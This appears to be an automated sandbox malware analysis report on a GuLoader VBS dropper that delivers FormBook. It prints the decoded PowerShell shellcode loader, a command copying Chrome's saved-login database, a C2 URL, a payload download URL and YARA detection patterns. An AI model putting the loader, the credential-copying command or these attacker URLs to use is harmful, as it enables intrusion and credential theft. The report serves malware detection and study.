Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
New _Inquiry P.O4622.vbs

Overview

General Information

Sample Name:New _Inquiry P.O4622.vbs
Analysis ID:557838
MD5:24e935f7534a81a7fd4e32daeab208a5
SHA1:251ac05ebc8c963418dccddda127d2a81b5097db
SHA256:5e6d8684c3f71ca6a76d22d1ddc536f302738a3027d22a5b1ce1852c9c551d99
Tags:GuLoadervbs
Infos:

Detection

FormBook GuLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Detected FormBook malware
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Sigma detected: Suspect Svchost Activity
Yara detected GuLoader
Hides threads from debuggers
Sample uses process hollowing technique
Tries to steal Mail credentials (via file / registry access)
Potential evasive VBS script found (sleep loop)
Maps a DLL or memory area into another process
Tries to detect Any.run
Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)
Potential malicious VBS script found (has network functionality)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Encrypted powershell cmdline option found
Very long command line found
Modifies the prolog of user mode functions (user mode inline hooks)
Sigma detected: Suspicious Svchost Process
Queues an APC in another process (thread injection)
Tries to detect virtualization through RDTSC time measurements
Creates an undocumented autostart registry key
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Tries to harvest and steal browser information (history, passwords, etc)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Sigma detected: Suspicious Execution of Powershell with Base64
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

  • System is w10x64
  • wscript.exe (PID: 5172 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\New _Inquiry P.O4622.vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)
    • powershell.exe (PID: 4676 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "# L A C T I F E R O   b r e g o   K n o b e t s f r i 9   H e s t 3   G r u e s o m 4   G e n e r a l i s   A F M E J   b e a v e r   B I B L I O G R   D d m a n d s k n 5   n u l l i n   l n p o t s y s t e   T h r e a p e d a f   O u t w r e s   G T E V I V   U n s h a c k l i 8   c o r r e   L A R M E N S F   D i s t i n g v 8   d i s e m b o   H Y P E   U n f i l 9   V A N D B R N D A   G e n n e   B e m e s t r e 4   i n d p a   B i t s y l e   T e r n a s h e   K o k a r d    
  
  
 A d d - T y p e   - T y p e D e f i n i t i o n   @ "  
 u s i n g   S y s t e m ;  
 u s i n g   S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s ;  
 p u b l i c   s t a t i c   c l a s s   b r n e c y k l 1  
 {  
 [ D l l I m p o r t ( " n t d l l . d l l " ) ] p u b l i c   s t a t i c   e x t e r n   i n t   N t A l l o c a t e V i r t u a l M e m o r y ( i n t   b r n e c y k l 6 , r e f   I n t 3 2   r e s t b e l b , i n t   D y b b 6 , r e f   I n t 3 2   b r n e c y k l , i n t   a p p l i e , i n t   b r n e c y k l 7 ) ;  
 [ D l l I m p o r t ( " k e r n e l 3 2 . d l l " ) ] p u b l i c   s t a t i c   e x t e r n   I n t P t r   C r e a t e F i l e A ( s t r i n g   i m m a n , u i n t   H y p o g y n y b , i n t   D i s c i p l 3 , i n t   b r n e c y k l 0 , i n t   P e t u n i e r n , i n t   G r u n g e s m i t , i n t   D e m o r a l 5 ) ;  
 [ D l l I m p o r t ( " k e r n e l 3 2 . d l l " ) ] p u b l i c   s t a t i c   e x t e r n   i n t   R e a d F i l e ( i n t   D y b b 6 0 , u i n t   D y b b 6 1 , I n t P t r   D y b b 6 2 , r e f   I n t 3 2   D y b b 6 3 , i n t   D y b b 6 4 ) ;  
 [ D l l I m p o r t ( " u s e r 3 2 . d l l " ) ] p u b l i c   s t a t i c   e x t e r n   I n t P t r   C a l l W i n d o w P r o c W ( I n t P t r   D y b b 6 5 , i n t   D y b b 6 6 , i n t   D y b b 6 7 , i n t   D y b b 6 8 , i n t   D y b b 6 9 ) ;  
 }  
 " @  
 # B i s a m s c h u   D o v e n 8   C a l y   K u l d i o x i d   g r a f i k r u t i   L k k e r n   K a n o n i 9   C h e l 9   e n d e b a l l e n   d i s k   T a d e a w o u c 4   U i t o t a n u d 8   C u t l a s s f 4   R h i p 8   T e n d e r e e o   r e i n h o l d   H j e m v i s e l u 9   H U R R S   O m n i 6   B i g g i s 5   O h m a v 4   B u c h   P e g g y p a r a   n v n i n g e d o   F O E L G E S E D    
 T e s t - P a t h   " s o u m "    
 T e s t - P a t h   " E X C L U D "    
 $ b r n e c y k l 3 = 0 ;  
 $ b r n e c y k l 9 = 1 0 4 8 5 7 6 ;  
 $ b r n e c y k l 8 = [ b r n e c y k l 1 ] : : N t A l l o c a t e V i r t u a l M e m o r y ( - 1 , [ r e f ] $ b r n e c y k l 3 , 0 , [ r e f ] $ b r n e c y k l 9 , 1 2 2 8 8 , 6 4 )  
 # S U P E R   S T O C K I L Y R   S t n k e l a 5   e m p r o s t   d e f i n i t t   S e p i a b r u 1   t o p o g r a f e r   D R Y P S T E N   F r e k v 6   D e l i b e 6   M a t i a s 3   h u s n i n g k v   H u s m   C H E E S E F L   v a a g   T h e l   S u p e r 5   s a c r i s t   V e d s t a a   B a g t u n   P r o t y l s 2   S t r y g e k v a 1   I M M O L A T   S t e d   s c r i   f e d e v a r   P e r i o d a    
 T e s t - P a t h   " s n a r e n s "    
 $ b r n e c y k l 2 = " $ e n v : t e m p "   +   " \ b l u e b . d a t "  
 # E t t i n z o m b i 4   i n t e l l e k t   M e n s u r a   f r i h a   S h u t i n g d i e   S K R V S R   S c h i n d y l 1   s y r n i n g e   A D O P T A N T   L u k k e t s b o   b l a n d i n g s f   D E C I M E R E   U d h o l d e l i   S T O C K H O   G e m i   F a b r i k a 2   i n t e r p u n   v a n d s k   s p i l d e   R E G I S T E R   P o s t g i r o k o 3   R i v e r i   O V E R E M   D A N D Y   T r a n s c 3   p o l y   M U S T A N G S   K a s e i n e t   J u g e r i n g t   B E R O L I G E D   S T R A T   A S F A L T   L o g a r i    
 $ b r n e c y k l 4 = [ b r n e c y k l 1 ] : : C r e a t e F i l e A ( $ b r n e c y k l 2 , 2 1 4 7 4 8 3 6 4 8 , 1 , 0 , 3 , 1 2 8 , 0 )  
 # C H R I S T   C E R B   H i g h j   R e k o m m a 8   C O R E C   L Y D I G H E D   A C H O L O E F   m u s l i n g   m a t e r i a l i    
 T e s t - P a t h   " S u a b l "    
 $ b r n e c y k l 5 = 0 ;  
 # S t r a a l   h y p e r   L u n e h y r d   R E I F I K   t e s t a m e   B R I K V V N   I D I O   g r a d u a t   M e a t m a n 5   c o u n t e r e v   P r e i n d e b t e 9   M y o m e r e 3   O p e r a t i v s y   p l i r b e s k a r   s a m a r   L N S A T S   c h e s k   F I G U R T Y P   P o u s s i 4   F U G T F J E   F u n k t i   O m k r s e l s 6   T o a d l   A i r w o r t h   G a s a p p a r a t   B u g s p y t t 6   P r o g r a m s t 5    
 T e s t - P a t h   " b a r a k "    
 [ b r n e c y k l 1 ] : : R e a d F i l e ( $ b r n e c y k l 4 , $ b r n e c y k l 3 , 2 6 1 1 6 , [ r e f ] $ b r n e c y k l 5 , 0 )  
 # S n a d d e n a s o 5   c i r c u   C O N F E C   p r o p o   S u i t a b l e 2   P S E U D O   I N D L G G E L   P u t r e s c e k a 8   X y l o 3   W H U F F   o a s e s k i n   T a m t a m   I m p o r 3   P r o t   T y r o   v e n t r   U N B I D A B   r a a v a r e r n e   H o r a h l u c i a   S y n t h e t   F e d t d   H a a r d 9   V I N K E L   S K A T T E A N S T   M E C H E L   R a n d i a p l   D E T O X I F I   B l n d e n    
 T e s t - P a t h   " T u r f "    
 T e s t - P a t h   " Y V E T "    
 T e s t - P a t h   " O M M A T I D I A "    
 T e s t - P a t h   " T o l u i d o c "    
 T e s t - P a t h   " K U L T U R S A M M "    
 T e s t - P a t h   " k v a l i t e t "    
 T e s t - P a t h   " S a e l g e s s t 3 "    
 T e s t - P a t h   " R a d r e n s "    
 T e s t - P a t h   " T e r n i n g t y "    
 T e s t - P a t h   " f r m n d o v e r "    
 T e s t - P a t h   " A l e v i n "    
 T e s t - P a t h   " D u m p e k a 8 "    
 T e s t - P a t h   " f a s t g r e "    
 T e s t - P a t h   " P a a t a l e r e "    
 [ b r n e c y k l 1 ] : : C a l l W i n d o w P r o c W ( $ b r n e c y k l 3 ,   0 , 0 , 0 , 0 )  
  
  MD5: DBA3E6449E97D4E3DF64527EF7012A10)
      • conhost.exe (PID: 6156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 6440 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.cmdline MD5: 350C52F71BDED7B99668585C15D70EEA)
        • cvtres.exe (PID: 6080 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6913.tmp" "c:\Users\user\AppData\Local\Temp\vsdke30k\CSC2B92EBAA3FFD4AC6819286896BCEF79.TMP" MD5: C09985AE74F0882F208D75DE27770DFA)
      • ieinstal.exe (PID: 5480 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: DAD17AB737E680C47C8A44CBB95EE67E)
        • explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
          • svchost.exe (PID: 5288 cmdline: C:\Windows\SysWOW64\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)
            • cmd.exe (PID: 1584 cmdline: /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V MD5: F3BDBE3BB6F734E357235F4D5898582D)
              • conhost.exe (PID: 5568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.usyeslogistics.com/k6sm/"], "decoy": ["mingshengjewelry.com", "ontimecleaningenterprise.com", "alyssa0.xyz", "ptecex.xyz", "dukfot.online", "pvcpc.com", "iowalawtechnology.com", "nestletranspotation.com", "mysithomes.com", "greenlakespaseattle.com", "evofishingsystems.com", "unilytcs.com", "ordemt.com", "dentalbatonrouge.com", "pictureme360.net", "chalinaslacatalana.com", "newmirrorimage.xyz", "pinklaceandlemonade.com", "rapinantes.com", "yzicpa.com", "josephosman.com", "robsarra.com", "shumgroup.net", "flooringnewhampshire.com", "onceadayman.com", "audiomacklaunch.xyz", "hurryburry.com", "golfvid.info", "tutortenbobemail.com", "tatlitelasorganizasyon.com", "tqgtdd.space", "classicalruns.com", "xx3tgnf.xyz", "galwayartanddesign.com", "qidu.press", "crypto-obmennik.com", "dn360rn001.com", "tridim.tech", "phamhome.com", "mediadollskill.com", "loveatmetaverse.com", "electric4x4parts.com", "azulymargarita.com", "isadoramel.com", "rubyclean.com", "officiallydanellewright.com", "wu8d349s67op.xyz", "detetivepyther.com", "wondubniumgy463.xyz", "registry-finance3.com", "ultracoding.com", "open-4business.com", "supremelt.online", "pangfeng.xyz", "morneview.com", "northfloridapsychic.com", "kg4bppuh.xyz", "friv.asia", "epsilonhomecare.com", "hbina.com", "beachhutprinting.com", "sophoscloudoptix.net", "managemarksol.site", "palestyna24.info"]}

Threatname: GuLoader

{"Payload URL": "https://owanlab.com/bin_DziiNe252.bin"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000016.00000002.1182719160.0000000002970000.00000004.00000001.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    00000016.00000002.1182719160.0000000002970000.00000004.00000001.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
    • 0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
    • 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
    • 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
    • 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
    • 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
    • 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
    • 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
    • 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
    • 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
    • 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4
    • 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
    00000016.00000002.1182719160.0000000002970000.00000004.00000001.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
    • 0x18849:$sqlite3step: 68 34 1C 7B E1
    • 0x1895c:$sqlite3step: 68 34 1C 7B E1
    • 0x18878:$sqlite3text: 68 38 2A 90 C5
    • 0x1899d:$sqlite3text: 68 38 2A 90 C5
    • 0x1888b:$sqlite3blob: 68 53 D8 7F 8C
    • 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
    00000013.00000002.1065437367.000000001E680000.00000040.00020000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
      00000013.00000002.1065437367.000000001E680000.00000040.00020000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
      • 0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
      • 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
      • 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
      • 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
      • 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
      • 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
      • 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
      • 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4
      • 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00